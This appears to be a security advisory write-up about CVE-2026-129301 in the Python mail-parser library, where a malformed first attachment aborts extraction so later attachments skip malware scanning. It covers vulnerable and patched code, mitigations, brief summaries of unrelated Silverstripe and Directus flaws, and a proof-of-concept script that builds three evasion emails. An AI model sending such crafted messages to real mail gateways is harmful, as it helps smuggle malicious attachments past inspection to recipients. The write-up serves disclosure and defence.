Nov 17, 2026·11 min read·2 visits
In mail-parser versions 4.6.0 through 4.6.2, write_attachments() lacks per-attachment exception handling. An attacker can include a malformed attachment part early in a multipart MIME message to trigger an unhandled ValueError, OSError, or binascii.Error, terminating the extraction loop before subsequent malicious attachments are written to disk for antivirus or sandbox analysis.
CVE-2026-129301 (GHSA-8cgq-x343-p74c) is an uncaught exception and MIME interpretation conflict vulnerability in the Python email parsing library mail-parser (versions >= 4.6.0 and < 4.6.3). The write_attachments() function iterates over parsed email attachments without per-attachment exception containment. When processing a specially crafted MIME part containing an RFC 2231-encoded null byte in the filename, a basename exceeding filesystem NAME_MAX limits, or a malformed base64 payload, the function raises an unhandled standard library exception (ValueError, OSError, or binascii.Error). This prematurely aborts the attachment extraction loop, preventing subsequent attachments from being written to disk for downstream security inspection while also triggering unhandled worker crashes in applications that only catch MailParserError.
The Python mail-parser library, maintained under the SpamScope project, provides an abstraction layer over the Python standard library email package to extract headers, bodies, and attachments from raw MIME messages. It is commonly deployed within automated email processing pipelines, threat intelligence ingestion feeds, security gateways, and malware sandboxes to unpack inbound email messages for downstream analysis. A key utility within this workflow is the write_attachments() method, which iterates through all parsed MIME attachment parts and writes their decoded contents to a designated filesystem directory.
In versions 4.6.0 through 4.6.2, write_attachments() executes filename sanitization, filename deduplication, base64 decoding, and file I/O within a single loop lacking per-item exception boundaries. If any individual attachment triggers an exception during filename validation, filesystem opening, or payload decoding, the entire batch extraction process terminates immediately. Any attachment parts appearing later in the MIME structure are abandoned and never written to the target output directory.
This behavior introduces two distinct security weaknesses classified under CWE-248 (Uncaught Exception) and CWE-436 (Interpretation Conflict). First, because the raised exceptions (ValueError, OSError, and binascii.Error) are built-in Python exceptions that do not inherit from the library's custom MailParserError base class, caller error-handling blocks fail to catch them, resulting in worker process crashes and denial of service. Second, in security inspection architectures that scan only the files deposited into the output directory by write_attachments(), an attacker can prepend a sacrificial malformed attachment ahead of a weaponized payload to abort extraction and bypass file scanning entirely, while lenient Mail User Agents (MUAs) at the destination still deliver the subsequent malicious attachment to the recipient.
The root cause of CVE-2026-129301 lies in the interaction between unguarded loop iteration in write_attachments() and strict validation or decoding primitives in _safe_attachment_filename() and write_sample() within src/mailparser/utils.py. When mail.write_attachments(base_path) is invoked, it loops sequentially over the list of dictionaries stored in self.attachments. For each dictionary, it calls _safe_attachment_filename(a["filename"]), deduplicates the resulting name, and passes the metadata and payload to write_sample().
Three primary input vectors allow an unauthenticated sender to force an unhandled exception during this cycle:
filename*=us-ascii''evil%00.bin), Python's internal MIME header parser decodes %00 into a literal \x00 character. When _safe_attachment_filename() inspects this string, it explicitly rejects embedded null bytes by raising ValueError("Invalid attachment filename").NAME_MAX Exhaustion: Standard POSIX filesystems (including ext4, XFS, and APFS) enforce a 255-byte limit (NAME_MAX) on individual path components. If an attachment provides a filename exceeding 255 bytes, _safe_attachment_filename() permits the string, but the subsequent open(sample, "wb") call inside write_sample() fails at the operating system level, raising OSError (errno.ENAMETOOLONG).a["binary"] == True), write_sample() opens the target file for writing and immediately invokes base64.b64decode(payload). If the base64 payload contains an orphan character such that its length modulo 4 equals 1 (e.g., AAAAA), or contains corrupted padding that strict decoding rejects, base64.b64decode() raises binascii.Error (which is a subclass of ValueError).In the third scenario (malformed base64), the failure occurs inside the with open(sample, "wb") as f: context manager block after the file descriptor has already been created on disk. Consequently, before the unhandled binascii.Error unwinds the call stack, an empty 0-byte orphan file stub is left behind in the extraction directory, and all remaining attachments in the attachments sequence are skipped.
Because mail-parser defines a custom exception hierarchy rooted at MailParserError in src/mailparser/exceptions.py, downstream applications following standard library conventions wrap parsing operations in try ... except MailParserError: blocks. Because ValueError, OSError, and binascii.Error do not subclass MailParserError, these exceptions escape the application's exception handler and terminate the worker thread or process.
Examining src/mailparser/utils.py before and after commit 11b894a0b8b3f11055a99caff118206138d1daba demonstrates how the vulnerability was introduced and subsequently resolved. Prior to version 4.6.3, write_attachments() and write_sample() were implemented without exception isolation, filename length truncation, or resilient base64 decoding:
# Vulnerable implementation in src/mailparser/utils.py (< 4.6.3)
def write_sample(binary, payload, path, filename): # pragma: no cover
filename = _safe_attachment_filename(filename)
os.makedirs(path, exist_ok=True)
sample = os.path.abspath(os.path.join(path, filename))
# Path traversal validation omitted for brevity
if binary:
with open(sample, "wb") as f:
# Raises binascii.Error on malformed base64 after creating 0-byte file
f.write(base64.b64decode(payload))
else:
with open(sample, "w") as f:
f.write(payload)
def write_attachments(attachments, base_path): # pragma: no cover
"""Write attachments with unique filenames for this attachment batch."""
used_filenames = set()
for a in attachments:
# Raises ValueError on null bytes, aborting the entire loop
filename = _safe_attachment_filename(a["filename"])
filename = _deduplicate_filename(filename, used_filenames)
# Raises OSError (ENAMETOOLONG) or binascii.Error, aborting the entire loop
write_sample(
binary=a["binary"],
payload=a["payload"],
path=base_path,
filename=filename,
)The remediation in version 4.6.3 addresses both the premature loop termination and the underlying parsing discrepancies across three distinct layers. First, write_attachments() wraps both _safe_attachment_filename() and write_sample() in per-attachment try ... except blocks that catch (OSError, ValueError) (which also encompasses binascii.Error), logs a warning, and continues iterating through the remaining attachments:
# Patched implementation in src/mailparser/utils.py (4.6.3)
def write_attachments(attachments, base_path):
"""Write attachments with unique filenames for this attachment batch."""
used_filenames = {}
for a in attachments:
try:
filename = _safe_attachment_filename(a["filename"])
except ValueError:
log.warning(
f"Skipped attachment with invalid filename: {a['filename']!r}"
)
continue
filename = _deduplicate_filename(filename, used_filenames)
try:
write_sample(
binary=a["binary"],
payload=a["payload"],
path=base_path,
filename=filename,
)
except (OSError, ValueError):
log.warning(
f"Skipped attachment {filename!r}", exc_info=True
)Second, to ensure that catching ValueError in write_attachments() does not inadvertently suppress directory traversal protections, the maintainers introduced a dedicated exception class MailParserPathError(MailParserError, ValueError) in src/mailparser/exceptions.py. In write_sample(), if os.path.commonpath() or os.path.realpath() detects that the destination path escapes base_path (including via symbolic links), write_sample() raises MailParserPathError. Crucially, in write_sample(), the decode operation is also moved before the open() call using a new helper decode_base64_payload(), preventing 0-byte file creation on decode failures:
# Patched write_sample() and decode_base64_payload() in src/mailparser/utils.py
_MAX_FILENAME_BYTES = 240 # Leaves room under 255-byte NAME_MAX for _1, _2 suffixes
def decode_base64_payload(payload):
"""Decode a base64 attachment payload the way lenient MUAs do."""
if isinstance(payload, str):
raw = payload.encode("ascii", errors="ignore")
else:
raw = bytes(payload)
cleaned = re.sub(rb"[^A-Za-z0-9+/]", b"", raw)
remainder = len(cleaned) % 4
if remainder == 1:
# Drop trailing orphan quantum byte instead of failing
cleaned = cleaned[:-1]
remainder = 0
if remainder:
cleaned += b"=" * (4 - remainder)
return base64.b64decode(cleaned)Third, _safe_attachment_filename() now invokes _truncate_filename(), which enforces a maximum UTF-8 byte length of 240 bytes (_MAX_FILENAME_BYTES) while preserving the file extension. This reserves 15 bytes under the 255-byte POSIX NAME_MAX ceiling to accommodate deduplication suffixes (such as _1, _2) added by _deduplicate_filename(). This proactive truncation prevents overlong filenames from raising OSError (ENAMETOOLONG), ensuring that attachments with long names are still written to disk and scanned rather than skipped. Note that while MailParserPathError inherits from ValueError, callers should be aware that in Python, except (OSError, ValueError): will match subclasses of ValueError unless MailParserPathError is explicitly re-raised before the ValueError handler or separated from ValueError in the class hierarchy.
Exploiting CVE-2026-129301 requires no authentication or special privileges; the attacker only needs the ability to send an email message that will be processed by an application invoking mail.write_attachments(). The attack leverages a MIME multipart structure containing at least two attachment parts: an initial trigger attachment designed to raise an exception in mail-parser, followed by one or more secondary attachments containing the actual payload intended to evade inspection.
In a security gateway evasion scenario, the attacker constructs a multipart/mixed message where the first attachment triggers one of the three failure modes. If the attacker uses the malformed base64 or overlong filename vector against a vulnerable version (< 4.6.3), or uses the RFC 2231 null byte vector, the parser aborts on the first part. Because standard desktop and webmail MUAs (such as Microsoft Outlook, Mozilla Thunderbird, and Apple Mail) either ignore invalid first-part filenames, truncate overlong names automatically, or apply lenient base64 decoding, the end user receives the second attachment intact.
The following proof-of-concept scripts, derived from the official regression suite in Pull Request #171, demonstrate all three exploitation vectors against mail-parser versions 4.6.0 through 4.6.2:
import mailparser
# Vector 1: RFC 2231 NUL Byte Injection
# Triggers ValueError("Invalid attachment filename") in _safe_attachment_filename()
raw_mail_null_byte = (
"Content-Type: multipart/mixed; boundary=b\r\n\r\n"
"--b\r\nContent-Type: application/octet-stream\r\n"
"Content-Disposition: attachment; "
"filename*=us-ascii''evil%00.bin\r\n\r\nxx\r\n"
"--b\r\nContent-Type: application/octet-stream\r\n"
"Content-Disposition: attachment; filename=payload.bin\r\n\r\nyy\r\n"
"--b--\r\n"
)
# Vector 2: Overlong Filename Exceeding POSIX NAME_MAX (255 bytes)
# Triggers OSError: [Errno 36] File name too long during open()
long_name = "a" * 300 + ".bin"
raw_mail_long_name = (
"Content-Type: multipart/mixed; boundary=b\r\n\r\n"
"--b\r\nContent-Type: application/octet-stream\r\n"
f"Content-Disposition: attachment; filename={long_name}\r\n\r\nxx\r\n"
"--b\r\nContent-Type: application/octet-stream\r\n"
"Content-Disposition: attachment; filename=payload.bin\r\n\r\nyy\r\n"
"--b--\r\n"
)
# Vector 3: Malformed Base64 Stream (Orphan Quantum Character, len % 4 == 1)
# Triggers binascii.Error: Invalid base64-encoded string during base64.b64decode()
raw_mail_bad_b64 = (
"Content-Type: multipart/mixed; boundary=b\r\n\r\n"
"--b\r\nContent-Type: application/octet-stream\r\n"
"Content-Transfer-Encoding: base64\r\n"
"Content-Disposition: attachment; filename=trigger.bin\r\n\r\nAAAAA\r\n"
"--b\r\nContent-Type: application/octet-stream\r\n"
"Content-Disposition: attachment; filename=payload.bin\r\n\r\nyy\r\n"
"--b--\r\n"
)
for name, raw_mail in [
("NUL Byte", raw_mail_null_byte),
("Overlong Name", raw_mail_long_name),
("Malformed Base64", raw_mail_bad_b64),
]:
mail = mailparser.parse_from_string(raw_mail)
try:
mail.write_attachments("/tmp/extracted_attachments")
except Exception as exc:
# In versions < 4.6.3, execution enters this block and payload.bin is never written
print(f"[{name}] Aborted with unhandled {type(exc).__name__}: {exc}")> [!NOTE]
> In version 4.6.3, Vector 1 logs a warning and skips evil\x00.bin while writing payload.bin. Vector 2 truncates the 304-byte filename to 240 bytes while preserving .bin and writes both files. Vector 3 strips the trailing orphan A character, decodes AAAA as three null bytes, and writes both trigger.bin and payload.bin to disk so that even intentionally malformed base64 payloads undergo security scanning.
CVE-2026-129301 carries a CVSS v3.1 base score of 6.5 (Medium) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L. The vulnerability is remotely exploitable over the network (AV:N) with low attack complexity (AC:L), requiring neither privileges (PR:N) nor user interaction (UI:N) when targeting automated email ingestion services.
The Integrity Impact (I:L) stems from the parser differential (CWE-436) between mail-parser and downstream email clients. Security architectures that rely on mail.write_attachments() to populate a staging directory for YARA scanning, antivirus inspection, or dynamic sandbox detonation assume that all deliverable attachments in the message are represented on disk. By forcing write_attachments() to exit early, an attacker prevents the inspection engine from seeing any subsequent attachments. If the inspection pipeline treats an empty or clean staging directory (or a caught generic exception) as a pass condition, malicious attachments positioned after the trigger part bypass security controls.
The Availability Impact (A:L) affects message processing pipelines and batch jobs that catch MailParserError to handle malformed emails gracefully. Because ValueError, OSError, and binascii.Error bypass except MailParserError: handlers, a single crafted email can crash the worker process. In queue-based ingestion systems that automatically retry failed messages without dead-letter isolation, a single persistent poison message in the queue can repeatedly crash worker instances and stall batch processing.
The recommended remediation is to upgrade mail-parser to version 4.6.3 or later. Version 4.6.3 isolates attachment extraction errors per item, truncates overlong filenames to stay within POSIX NAME_MAX bounds, and repairs malformed base64 streams so that obfuscated payloads are still decoded and written to disk for inspection.
pip install --upgrade "mail-parser>=4.6.3"For environments where an immediate package upgrade cannot be deployed, developers should avoid calling mail.write_attachments() directly. Instead, applications should iterate manually over mail.attachments, sanitize filenames, truncate basenames to 240 UTF-8 bytes, and wrap each individual extraction operation in a dedicated try ... except (MailParserError, OSError, ValueError): block:
import logging
from mailparser.exceptions import MailParserError
from mailparser.utils import write_sample, _safe_attachment_filename
logger = logging.getLogger(__name__)
def safe_extract_all(mail, output_dir):
for idx, attachment in enumerate(mail.attachments):
raw_name = attachment.get("filename") or f"attachment_{idx}.bin"
try:
safe_name = _safe_attachment_filename(raw_name)
if len(safe_name.encode("utf-8")) > 240:
safe_name = safe_name.encode("utf-8")[:240].decode("utf-8", errors="ignore")
write_sample(
binary=attachment["binary"],
payload=attachment["payload"],
path=output_dir,
filename=safe_name,
)
except (MailParserError, OSError, ValueError) as exc:
logger.warning("Failed to write attachment %r: %s", raw_name, exc)
# In security gateways, flag the message for quarantine or manual reviewIn addition to patching the library, security gateway operators should review their pipeline failure modes. When an email contains any attachment that fails extraction or triggers a warning in mail-parser, the inspection policy should treat the message as suspicious and quarantine it rather than failing open and delivering uninspected MIME parts to end users.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
mail-parser SpamScope | >= 4.6.0, < 4.6.3 | 4.6.3 |
| Attribute | Detail |
|---|---|
| Vulnerability ID | CVE-2026-129301 / GHSA-8cgq-x343-p74c |
| CWE Classification | CWE-248 (Uncaught Exception) / CWE-436 (Interpretation Conflict) |
| CVSS v3.1 Score | 6.5 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L) |
| Affected Component | write_attachments() and write_sample() in src/mailparser/utils.py |
| Affected Versions | mail-parser >= 4.6.0, < 4.6.3 |
| Patched Version | mail-parser 4.6.3 |
| Primary Impact | Downstream security scanner evasion and unhandled worker crash (DoS) |
| Exploit Status | Proof-of-Concept available in official repository tests |
The software does not handle or improperly handles an exceptional condition, leading to premature process termination, unhandled crashes, or incomplete loop execution, alongside an interpretation conflict (CWE-436) between the parser and downstream Mail User Agents.
Directus versions prior to 12.3.1 contain an authorization bypass and privilege management flaw in the SharesService component. Authenticated non-administrative users with update permissions on the directus_shares collection can modify the user_created, role, item, and collection fields of an existing owned share. Because the update operation validates permissions solely against the pre-update record state without revalidating the modified fields, an attacker can reassign share ownership and role context to an administrator. Subsequent guest access using the share token derives administrative accountability, exposing restricted relational data.
CVE-2026-88987 (GHSA-qqrg-8jpm-8mph) is a stored Cross-Site Scripting (XSS) vulnerability in the Silverstripe Framework prior to version 6.2.13. The framework's HTML sanitization engine, XssSanitiser, relies on an incomplete regular expression denylist when filtering URI schemes in HTML attributes. Specifically, the sanitizer strips data:text/html URIs but fails to restrict executable XML and XHTML media types such as data:application/xhtml+xml, data:text/xml, and data:application/xml. An authenticated user with content creation privileges can embed crafted data URIs inside HTML attributes like iframe src or object data, leading to arbitrary JavaScript execution when the content is rendered by a victim's browser.
A Stored Cross-Site Scripting (XSS) vulnerability exists in Silverstripe Framework versions prior to 6.2.13 within the SilverStripe\Core\XssSanitiser component. The HTML sanitizer fails to strip SVG data URIs (data:image/svg*) from dangerous HTML attributes such as href, src, lowsrc, and data. Authenticated CMS authors can persist crafted SVG data URIs in stored content, leading to arbitrary JavaScript execution in the browser context of users who view or interact with the rendered page.
CVE-2026-88989 (tracked as GHSA-3qh3-54qg-gpq3) is a missing authorization vulnerability (CWE-862) in the Silverstripe Framework affecting versions prior to 6.2.13. The flaw exists within the GridFieldDetailForm_ItemRequest request handler, which orchestrates record creation and editing workflows inside the Silverstripe CMS backend. Specifically, the server-side persistence method saveFormIntoRecord() fails to verify whether an authenticated user possesses the necessary creation permissions (canCreate) when processing an unpersisted DataObject record. Consequently, a low-privileged CMS user who has permission to access a GridField interface and edit existing records can bypass role-based creation restrictions. By sending a crafted HTTP POST request directly to the item/new endpoint with the action_doSave parameter, the user can instantiate and persist unauthorized database records. The vulnerability is rated Medium severity with a CVSS v3.1 base score of 4.3 and is remediated in Silverstripe Framework version 6.2.13.
Silverstripe Framework prior to version 6.2.13 contains an improper privilege management vulnerability (CWE-269) within the Group authorization and validation logic. A delegated administrator possessing the CMS_ACCESS_SecurityAdmin permission, but lacking full ADMIN privileges, can edit or reparent groups that acquire administrative capabilities indirectly via permission roles or ancestor inheritance. By adding their own account to such a group or moving a controlled group underneath a role-privileged parent, the user escalates to full administrative access across the CMS.
A missing authorization and type validation vulnerability in Silverstripe Framework prior to version 6.2.13 allows authenticated CMS users to convert database records into arbitrary DataObject classes via user-controlled ClassName parameters in GridField detail forms.